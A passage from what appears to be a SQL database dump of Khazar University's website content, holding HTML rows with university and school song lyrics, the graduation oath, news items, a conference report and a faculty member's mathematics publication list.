İsaxanlı Azərbaycanda ali təhsil müəssisələrinin sayı, keyfiyyəti və s. bağlı fikirlərini mətbuata bildirmişdir.</p><p>Bu haqda daha geniş məlumatı bu linklər vasitəsilə əldə etmək olar:</p><p><a href=\"http://olaylar.az/news/sosial/299339\">http://olaylar.az/news/sosial/299339</a>;</p><p><a href=\"http://musavat.com/news/universitetlerin-sayi-azaldilsin-ya-yox_560666.html\">http://musavat.com/news/universitetlerin-sayi-azaldilsin-ya-yox_560666.html</a>;</p><p><a href=\"http://deyerler.org/418704-universitetljrin-sayd-azalddlsdn-ya-yoxe.html\">http://deyerler.org/418704-universitetljrin-sayd-azalddlsdn-ya-yoxe.html</a>.  <br></p>'),(1318,838,'az','Tələbə valsı','Tələbə valsı','<br><p><strong>Dinlə:&nbsp;<a href=\"http://www.khazar.org/files/social/students_song_waltz.mp3\">students&nbsp;song&nbsp;waltz.mp3</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/social/students_song_waltz.mp3\"></a></strong><strong>Sözlər: Hamlet İsaxanlı</strong></p><p><strong></strong><strong>Musiqi: Ramiz Mustafayev</strong></p>\r\n<p><br></p><p>İlham pərim nur çilədi</p><p>Göy ümmanın qırağında.</p><p>“Xəzər”imi həkk elədi</p><p>Ömrümün şah varağında.</p><p>&nbsp;</p><p>Pak əmələ vurulmuşam,</p><p>Könül, demə yorulmuşam,</p><p>Damla‐damla durulmuşam</p><p>“Xəzər”imin sorağında.</p><p>&nbsp;</p><p>Təbiət eşqə düçarmış,</p><p>Xəyallar qanad açarmış,</p><p>Ulduzlar şölə saçarmış</p><p>“Xəzər”imin çırağında.</p><p>&nbsp;</p><p>Ayrılığa dözsəm əyər,</p><p>Məftun könlüm qəribsəyər,</p><p>Xumar‐xumar gülümsəyər,</p><p>Nəğmə deyər fərağında.</p>'),(1319,837,'az','Xəzər Universitetinin himni','Xəzər Universitetinin himni','<p><a href=\"http://www.khazar.org/files/social/khazar_hymn.mp3\">Dinlə:</a></p><p><strong>Xəzər Universitəm<br></strong></p><p><strong>Sözlər: Hamlet İsaxanlı</strong></p><p><strong></strong><strong>Musiqi: Vasif Adıgözəlov və Ramiz Mustafayev</strong></p><p><br></p><p>Xəzərimin sahilində əzəmətli Bakımda</p><p>Dünyamıza şəfəq saçar Xəzər Universitəm.</p><p>Şer, sənət, insaniyyət dərslərindən pay verər,</p><p>Kainatın sirrin açar Xəzər Universitəm.</p><p><br></p><p>Həyat dolu qucağıdır,</p><p>Könlümün saf bucağıdır,</p><p>Xoş niyyətlər ocağıdır</p><p>Xəzər Universitəm.</p><p><br></p><p>Gəncliyimin qaynar çağı,</p><p>Dəryaları, uca dağı,</p><p>Gül-çiçəkli sevgi bağı</p><p>Xəzər Universitəm.</p><p><br></p><p>Adı elə bəlli oldu, ölkə-ölkə arandı,</p><p>Qucağında pıçıldandı neçə-neçə yar andı.</p><p>Məna doldu həyatıma, zirvələrə can atdım,</p><p>İlhamımın gur bulağı Xəzərimdən yarandı.</p><p><br></p><p>Həyat dolu qucağıdır,</p><p>Könlümün saf bucağıdır,</p><p>Xoş niyyətlər ocağıdır</p><p>Xəzər Universitəm.</p><p><br></p><p>Gəncliyimin qaynar çağı,</p><p>Dəryaları, uca dağı,</p><p>Gül-çiçəkli sevgi bağı</p><p>Xəzər Universitəm.</p>'),(1320,839,'en','Dunya School\'s song','Dunya School\'s song','<p>Listen:&nbsp;<a href=\"http://www.khazar.org/files/social/dunya_song.mp3\">dunya&nbsp;song.mp3</a></p><p>&nbsp;</p><p><strong>Dunya School\'s Song</strong></p><p>&nbsp;My World</p><p>(to the little schoolchildren)</p><p>&nbsp;</p><p>The wide horizon was aglow,</p><p>As the night was burning low,</p><p>Little golden arrows came</p><p>Shooting through my window pane.</p><p>&nbsp;</p><p>Then the sun rose in the sky,</p><p>And all my world was filled with light.</p><p>Life can be just like a dream,</p><p>Like a fairy tale, it seems!</p><p>&nbsp;</p><p>Let us love the earth so bright,</p><p>Be creative, read and write.</p><p>The surest way in coming times</p><p>Is to learn to use our minds!</p><p>&nbsp;</p><p>(Translated by A. Mandaville and M. Lawry)</p>'),(1321,839,'az','Dünya Məktəbinin mahnısı','Dünya Məktəbinin mahnısı','<p><strong>Dinlə:&nbsp;</strong><a href=\"http://www.khazar.org/files/social/dunya_song.mp3\">Dunya School song.mp3</a></p><p>&nbsp;</p><p><strong>Dünyam</strong></p><p><em>(Balaсa məktəblilərə)</em></p><p><strong>Sözlər: Hamlet İsaxanlı</strong></p><p><strong>Musiqi: Nailə İsaxanlı<br></strong></p><p>&nbsp;</p><p>Üfüqdə qızartı var,</p><p>Geсə yandı-yaxıldı,</p><p>Qızılı sarı oxlar</p><p>Pənсərəmə taxıldı.</p><p>&nbsp;</p><p>Günəş göydə göründü,</p><p>Dünyam nura büründü.</p><p>Xəyal gerçəyə döndü,</p><p>Gerçək sanki nağıldı!</p><p>&nbsp;</p><p>Təbiətə aşiq ol,</p><p>Oxu, yaz, yarat bol-bol,</p><p>Gələсəyə gedən yol</p><p>Düşünсədi, ağıldı!</p>'),(1322,840,'az','Məzunluq andı','Məzunluq andı','<p style=\"text-align:left\">Xəzər Universiteti Azərbaycanda fəaliyyətə başlayan ilk özəl ali məktəbdir. Universitetdə məzunluq tədbirləri Universitetin himni ilə müşayiət olunan xüsusi ənənə ilə keçirilir, məzunlar məzunluq andını söyləyərək and içirlər.</p><p style=\"text-align:center\"><strong style=\"text-align:center\">Məzunluq andı</strong></p><p style=\"text-align:center\"><strong style=\"text-align:center\"></strong>\"Xəzər Universitetində əldə etdiyim bilik və bacarığı tətbiq edərək ailəm,&nbsp;xalqım və vətənim üçün faydalı olacağıma and içirəm!&nbsp;Xəzər Universitetinin şərəfini qoruyacağıma and içirəm!\"</p>'),(1605,995,'en','Faculty Members’ Articles Published in Swiss Journal','The 83rd issue of Caucasus Analytical Digest, published in Switzerland, was entirely devoted to “Low Oil Prices: Economic and Social Implications for Azerbaijan.” Special Editors included Eurasia Extractive Industries Knowledge Hub (Khazar University) and Jeronim Perović.','<p>The 83<sup>rd</sup>\r\nissue of Caucasus Analytical Digest, published in Switzerland, was entirely\r\ndevoted to “Low Oil Prices: Economic and Social Implications for Azerbaijan.”\r\nSpecial Editors included Eurasia Extractive Industries Knowledge Hub (Khazar\r\nUniversity) and Jeronim Perović. Articles by Hub experts Ingilab Ahmadov,\r\nJeyhun Mammadov, Farid Guliyev and Kanan Aslanli were published in the issue. </p>\r\n<p>The articles are\r\navailable at the following link: <a href=\"http://www.laender-analysen.de/cad/pdf/CaucasusAnalyticalDigest83.pdf\" target=\"_blank\">http://www.laender-analysen.de/cad/pdf/CaucasusAnalyticalDigest83.pdf</a></p>'),(1596,991,'en','Khazar University’s Affiliate Dunya School announces admission for the school year 2016-2017','Khazar University’s affiliate Dunya School announces admission for the school year 2016-2017.','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:14.5pt;background:white\"\"=\"\">Khazar\r\nUniversity’s affiliate Dunya School announces admission for the school year\r\n2016-2017. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:14.5pt;background:white\"\"=\"\">The\r\nschool has been authorized to offer the International Baccalaureate Diploma\r\nProgram (IBDP) since 2009.<br>\r\nDunya School offers an excellent quality of IB education (PYP, MYP and DP) for\r\nchildren from the grade K to the IB Diploma Program.&nbsp;</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:14.5pt;background:white\"\"=\"\">Dunya\r\nSchool IB graduates study at prestigious\r\nuniversities abroad like Oxford, Boston, Lancaster, Surrey, Warwick and others.<br>\r\nWe provide an outstanding standard of education: it is both academically and\r\nsocially balanced, with high standards of learning and understanding and\r\nimpressive examination performance, while offering a wide variety of\r\nextra-curricular activities within a caring and positive environment.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:14.5pt;background:white\"\"=\"\">Our\r\nstudents organize the annual IB Forum and attend the conferences abroad as\r\nwell.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:14.5pt;background:white\"\"=\"\">The\r\nAdmissions Office’s commitment is to give you all the information you need to\r\nmake the application process as smooth as possible. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:14.5pt;background:white\"\"=\"\">If you\r\nwish to enroll your child at Dunya School, we look forward to hearing from you\r\nand assisting you with the admissions process.</p>'),(1227,433,'az','İşçi heyəti','İşçi heyəti',''),(1606,996,'az','Azərbaycan III Beynəlxalq Psixologiya Konfransı keçirildi.','2016-cı il aprelin 23-ü və 24-də Xəzər Universitetinin “Neftçilər” korpusunda universitetin Psixologiya departamentinin və Karyera Mərkəzinin təşkilatçılığı ilə ənənəvi Azərbaycan III Beynəlxalq Psixologiya Konfransı keçirildi.','<p><em>2016-cı il\r\naprelin 23-ü və 24-də Xəzər Universitetinin “Neftçilər” korpusunda\r\nuniversitetin Psixologiya departamentinin və Karyera Mərkəzinin təşkilatçılığı\r\nilə ənənəvi Azərbaycan III Beynəlxalq Psixologiya Konfransı keçirildi.\r\nKonfransda respublikanın müxtəlif bölgələrindən olan mütəxəssislərlə yanaşı,\r\nsahəyə maraq göstərən şəxslər də iştirak edirdilər. Konfransa olan bu maraq nəzəriyyə\r\nilə praktikanın bir arada olması ilə sıx bağlıdır.</em></p>\r\n<p>Aprelin\r\n23-də&nbsp; konfransın rəsmi hissəsi və məruzələr dinlənildi. Aprelin 24-də isə\r\niştirakçılar əvvəlcədən müəyyən olunmuş vorkşoplarda iştirak etdilər.<em></em></p>\r\n<p><em>Humanitar və\r\nsosial elmlər fakültəsinin dekan müavini, Xəzər Psixoloji Xidmət Mərkəzinin\r\ndirektoru Mələk Kərimova konfransı açıq elan edərək, sözü Xəzər Universitetinin\r\ntəsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıya\r\nverdi. Sonra kürsüyə uzman psixiyatr İkram Rüstəmov dəvət olundu. Konfrans\r\nzamanı yerli və Türkiyədən dəvət olunmuş psixoloqlar və psixiatrlar çıxış edərək,\r\npsixologiyanın müxtəlif sahələrini əhatə edən mövzular haqqında məlumat verdilər.\r\nKonfransda Hacettepe Universitetindən professor Tuncay Ergene, Adnan Menderes\r\nUniversitetindən professor Mehmet Eskin, Geştalt Dərnəyinin qurucusu professor\r\nCeylan Daş, Yüzüncü il Universitetindən dosent Selim Günüç, Hasan Kalyoncu\r\nUniversitetindən dosent Ramin Əliyev iştirak edirdilər. Konfransda imtahan həyəcanı,\r\ninternet asılılığı, psixoloji konsultasiyanın mərhələləri, homoseksuallıq,\r\nyenilməzlik kimi aktual mövzular haqqında müzakirələr aparıldı.&nbsp;\r\nKonfransda iştirak edənlər psixologiya sahəsində yeni biliklər əldə etməklə\r\nyanaşı, </em>bu sahənin mütəxəssislərinin bilik və təcrübələrindən\r\nyararlanmaq, fərqli baxış tərzlərini görmək, müqayisə etmək, müxtəlif\r\nuniversitetlərdə oxuyan tələbələr və çalışan müəllimlərlə əlaqələr qurmaq\r\nimkanı əldə etdilər.&nbsp; </p>\r\n<p>Konfransın\r\nsonunda hər bir iştirakçıya sertifikat verildi.&nbsp;</p>'),(1229,758,'az','Nigar Aslanova','Nigar Aslanova','<div><br></div><div> <div><table cellspacing=\"0\" cellpadding=\"0\" width=\"612\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td width=\"31\"><p style=\"background:undefined \">#</p></td><td width=\"167\"><p style=\"background:undefined \"><strong>Title of publication</strong><strong></strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Publications type/publication activities</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>All Authors</strong><strong></strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong></strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>Year Published</strong><strong></strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>Vol. &amp; Pages</strong><strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Asymptotics of eigenvalues of one term even order operator equations</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>thesis</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>HashimovI.F.</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Materials of XI republic conference on math. And mech. of young scientists, Baku.</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>1994</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>3 p.</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Calculation of regularized trace of operator Sturm-Liouville equation with singularity on finite segment</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>article</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Az.NIINTI</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>20.1195</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>N2305-Az, 29 pp.</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Calculation of regularized trace of Sturm-Liouville equation</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>thesis</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Materials 0f I Rep. conference on math and mech., Baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>1995</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>II part, pp.63-66</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Weighted trace of Schrödinger equation</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>thesis</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>AzIMU, Proceedings, Baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>1996</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>N6, pp.185-186</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Investigation of asymptotics of number of eigenvalues and regularized trace of singular differential operator equations</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>avtoreferat</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Avtoreferat of dissertation,Baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>1996</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>15 p.</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Eigenvalue distribution of singular differential operator on all axis</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>article</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Transactions of National Academy of Sciences of Azerb.,Baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>1997</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>Vol.XVIII,N4-5, pp.15-20</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Asymptotic behaviour of the distribution function for one singular operator</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>article</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Transact. Of Acad. of Sciences of Azerb., Baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>1998</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>Vol.XVIII N3-4, pp.3-5</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Regularized trace of operator Sturm-Liouville equation on finite segment</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>article</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Proceedings of Institute of Math . and Mech. Of Acad. of Sciences of Azerb., Baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>1998</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>Vol. IX, pp.23-26</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Stability of special solutions of non-selfadjoint&nbsp; operator on all axis</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Thesis</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Materials of conference devoted to 25 anniversary of Azerb. University of Architecture and Construction, Baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>2001</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>pp.324-325</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Trace formula for regular Sturm-Liouville operator on finite segment</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Thesis</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Materials of conference devoted to 25 anniversary of Azerb. University of Architecture and Construction, Baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>2001</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>pp.325-326</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>The stability of the inverse problem of the scattering theory for non-self-adjoint operator</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Article</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Transact. Of Acad. of Scienmces of Azerb., Baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>2000</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>Vol.XX,N4, pp.30-34</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>The stability of the inverse problem of the scattering theory for non-self-adjoint operator on all axis</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Article</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Proceedings of Instritute of Math. And Mech., Baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>2001</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>Vol XV, pp.28-36</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Integral generalization of the second order matrix differential equation</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>article</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Trans. Of NAS of Azerb.</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>2004</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>Vol.XXIV, N1, pp.71-78</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Exactness of reconstruction of potential of matrix Sturm-Liouville equation by scattering data known on finite interval</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>article</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>AzTU, Proceedings</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>2004</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>Vol .III,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; N1(9),pp.30-37</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Stability of reconstruction of the Sturm-Liouville operator with matrix coefficients on scattering data</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>article</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Trans. Of NAS of Azerb, Baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>2005</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>Vol.XXV, N1, pp.33-42</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Trace formula of second order differential operator equation</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>thesis</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Thesis of XII International conference devoted 70-th anniversary of the corresponding member of NAS of Azerb. B.A.Iskenderov, Baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>2006</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>p.35</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Calculation of the regularized trace of differential operator with operator coefficient</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>article</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Trans. Of NAS of Azerb. Baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>Vol.XXVI,N1, pp.39-44</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>2006</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>n-th regularized trace of differential operator equation</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>article</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Trans.of NAS of Azerb., Baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>Vol. XXVI,N7, pp.27-32</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>2006</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Calculation of the trace of one Sturm-Liouville boundary value probnlem</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>article</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Materials of Ninth Baku International Congress&lt;&lt;Energy, Ecology, Economy&gt;&gt;</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>N4,5,pp.21-24</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>2006,2007</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Calculation of n-th regularized trace of Sturm-Liouville operator with eigenvalue dependent boundary condition</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>thersis</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Thesis of XIII Intern. Conf. on Math. And Mech. Devoted to 70-th anniversary of real member of NAS of Azerb. Prof.A.D.Hajiev, Baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>p.27</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>2007</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Trace formula for Strurm-Liouville operator equation</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>article</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Proc.of Institute of Math. And Mech. Of NAS of AzerB.,Baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>Vol.XXVI,</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>2007</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Trace formula for one boundary value problem for operator Sturm-Liouville operator equation</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Article</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Siberian journal of mathematics,(science citatation index expanded)</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>November-december, vol.49,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n6,pp.1207-1215</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>2008</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>On regularized trace of one Sturm_Liouville problem with eigenvalue dependent boundary condotion</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>article</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Trans.of NAS of Azerb., Baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>v.XXVIII,N4,pp.27-36</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>2008</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Asymptotic distribution of eigenvalues and regularized trace of boundary value problem for Bessel’s operator equation with eigenvalue dependent boundary condition</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>article</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Proc. Of Inst. Of Math. And Mech. Of NAS of Azerb.,Baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>v.XXIX,pp.21-42</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>2008</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Asymptotics of eigenvalues of second order differential operator equation</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>thesis</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Thesis of Inter. Conference on math.and mech. Devoted 50-th anniversary of Institute of Math. And Mech.,Baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>p.47</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>2009</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Trace formula of one singular problem with parameter contained boundary condition</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Thesis</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>K.M.Aslanov</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Spectral theory and applications, Thesis of international conference devoted to 80-th anniversary of acad. F.G.Maksudov,Baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>pp.68-70</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>2010</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Formula for second regularized trace of one Sturm-Liouville operator</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Thesis</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>M.Bayramoglu</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Spectral theory and applications, Thesis of international conference devoted to 80-th anniversary of acad. F.G.Maksudov,Baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>pp.101-103</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>2010</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Investigation of spectrum and trace formula for operator Bessel equation</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>article</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Siberian Journal of Mathematics(Science citation expanded)</strong></p></td><td width=\"60\"><p 